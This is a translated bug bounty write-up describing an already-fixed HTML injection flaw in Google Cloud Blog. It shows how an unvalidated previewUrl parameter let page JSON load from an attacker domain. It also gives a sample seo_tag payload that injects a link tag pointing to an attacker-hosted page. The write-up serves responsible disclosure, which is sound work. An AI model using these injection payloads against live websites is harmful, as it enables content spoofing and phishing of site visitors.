Google Cloud Blog的HTML注入漏洞

iso60001  1909天前

22.jpg

在这篇文章中,我将讨论一个有趣的安全漏洞,这是我从谷歌漏洞奖励计划获得的收获之一。

关于Google Cloud Blog

顾名思义,Google Cloud Blog是谷歌用来展示谷歌云平台(GCP)的新特性和相关公告的,这是一种非常酷的云计算服务。在某一天,我被授权对这个平台进行测试。这是一个很好的机会来提高我的安全技能,同时获得一些奖励。

第一印象

我开始逐步与应用交互,了解应用主要特性,以及它如何处理来自用户的数据。在抓取并检查了现有的web页面之后,我意识到目标应用更像是一个“只读”的网站,似乎并没有和用户进行交互。然后我开始瞄准应用的某些功能,但除了搜索功能外,没有什么有价值的东西。暴力破解路径也没有有用的结果,此时我感觉被困住了,看不到方向。

于是我决定采用一种不同的测试方法,开始分析前端的JS代码。利用谷歌Chrome的开发控制台,我知道了应用到底加载了哪些JS,而其中一个文件引起了我的注意,https://cloud.google.com/blog/static/main.163de04176b97472487f.bundle.js。这个JS文件包含目标应用的主要模块以及各种功能的代码。

打破僵局

由于该文件的代码行数大约在29000左右,无法一行行看过去,所以我开始寻找可能负责处理用户输入的变量和函数,关键词queryqueryParamsURL等。很快,我找到了如下代码:

e.prototype.resolve = function(e) {
    return e.queryParams.previewUrl ? this.wagtailApiService.getPreviewPageData(e.queryParams.previewUrl) :
        this.getPageDataObservable(this.getUrlString(e))
}

33.png

它会检查查询字符串中是否有previewUrl参数,如果有,就会将其传递给getPreviewPageData函数:

e.prototype.getPreviewPageData = function(e) {
    var t = "" + r.a.AUTHOR_URL + e.replace(/\/?$/, "/") + "?mode=json";
    return this.httpClient.get(t, {
        withCredentials: !0
    })
}

44.png

这个函数会构造一个URL(涉及变量t),并从该链接加载JSON的预格式化代码,然后解析代码并据此更改整个页面。据我所知,谷歌工程师使用这个功能是为了方便查看GoogleCloud Blog网站实时代码修改的效果。还有一种可能性是最初在开发和内部测试应用时引入了该功能,但在正式对外公开时忘记了下线该功能。

该资源链接由来自用户的输入数据构成,主要有三部分:

  • 常数r.a.AUTHOR_URL指向谷歌内部子域(https://gwebcloudblog-author.googleplex.com

  • 参数e进行传值(之前由参数previewUrl传值),表现为路径形式(/folder1/folder2/folder3/

  • 一个名为mode的查询参数

预期的最终链接应该是如下形式:

https://gweb-cloudblog-author.googleplex.com + /path/from/user/ + "?mode=json"

到目前为止,我没有发现有安全代码来验证附加到googleplex.com子域的路径是否以斜杠开头。攻击者完全可以注入了一个类似于.1337hackz.com/的值,得到如下恶意链接:

https://gweb-cloudblog-author.googleplex.com.1337hackz.com/?mode=json

此时,JSON代码变成从攻击者所控制的网站进行加载,攻击者可以用任何他想要的方式修改网站内容(修改标题、图像或正文内容)。我立马开始研究是否有XSS漏洞,但这次我运气不佳,每个JS模块都会对文章页面中使用的相关组件(标题、段落、嵌入的图片和视频)进行编码和安全过滤,防止恶意代码的注入。文章的主体内容虽然在攻击者的控制之下,但还是会被去除危险的HTML标签和JS代码。

55.jpg

注入HTML

在我准备通知谷歌这个新发现,决定最后再试一试,看看是否有方法将这个漏洞变成XSS。以下是我新瞄准的代码:

if (e.seo_tag) 
this.updateSeoLink(e.seo_tag);
e.prototype.updateSeoLink = function(e) {
    for (var t = 0, n = JSON.parse(e); t < n.length; t++) {
        var r = n[t];
        if (r.type && "link" === r.type) {
            var i = this.document.createElement("link");
            i.id = "seo-tag", i.href = r.attributes.href, i.hreflang = r.attributes.hreflang, i.rel = r.attributes.rel, this.document.head.appendChild(i)
        }
    }    
}

66.png

77.png

第一个条件语句会检查JSON文件是否存在并检索,其中有一个名为seo_tag的参数。也许在JSON文件中,该参数的存在形式如下:

{
    "id": 39049,
    (...)
    "seo_tag": "[{ \"type\": \"link\", \"attributes\":{ \"href\":\"https://gweb-cloudblog-author.googleplex.com.poc.dekeeu.online/test.php\", \"rel\": \"import\", \"hreflang\": \"ro\" } }]"
}

如果设置了此参数,updateSeoLink函数将动态创建一个新的<link>标签,并将其附加到网页的HTML代码中。通过参数seo_tag的指定,攻击者可以控制这个新标签的所有属性,其中最重要的属性是hrefrel

对于<link>标签来说,如果将rel属性设置为import,则href属性指向的资源将包含在当前网页中。因此,如果攻击者设置rel属性为import,并将href属性指向恶意的HTML网页,则可以把攻击者的恶意代码插入到网页中。

但是,CSP阻止了此类不可信资源的加载。不过我还是决定向谷歌报告我的所有发现,因为在我看来,这是一个有效的、很可能被攻击者利用的漏洞。

88.png

99.png

风险性

利用这个漏洞,攻击者可以修改他人所看到的GoogleCloud Blog网页,对他人进行诈骗。他可以创建一个恶意链接,通过互联网进行传播,进行大范围诈骗。此外,如果可以实现CSP绕过,攻击者就可以进行XSS攻击,窃取cookie等敏感信息。

结尾

谷歌安全团队承认了漏洞的存在,并很快修复了它,他们把这个漏洞当作一个XSS漏洞,并根据对应规则给予奖励。

对我来说,这个发现再次证明,任何“完美”的程序,都可能存在安全漏洞,最重要的是永远不要放弃。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.loosebyte.com/google-cloud-vulnerability/

最新评论

昵称
邮箱
提交评论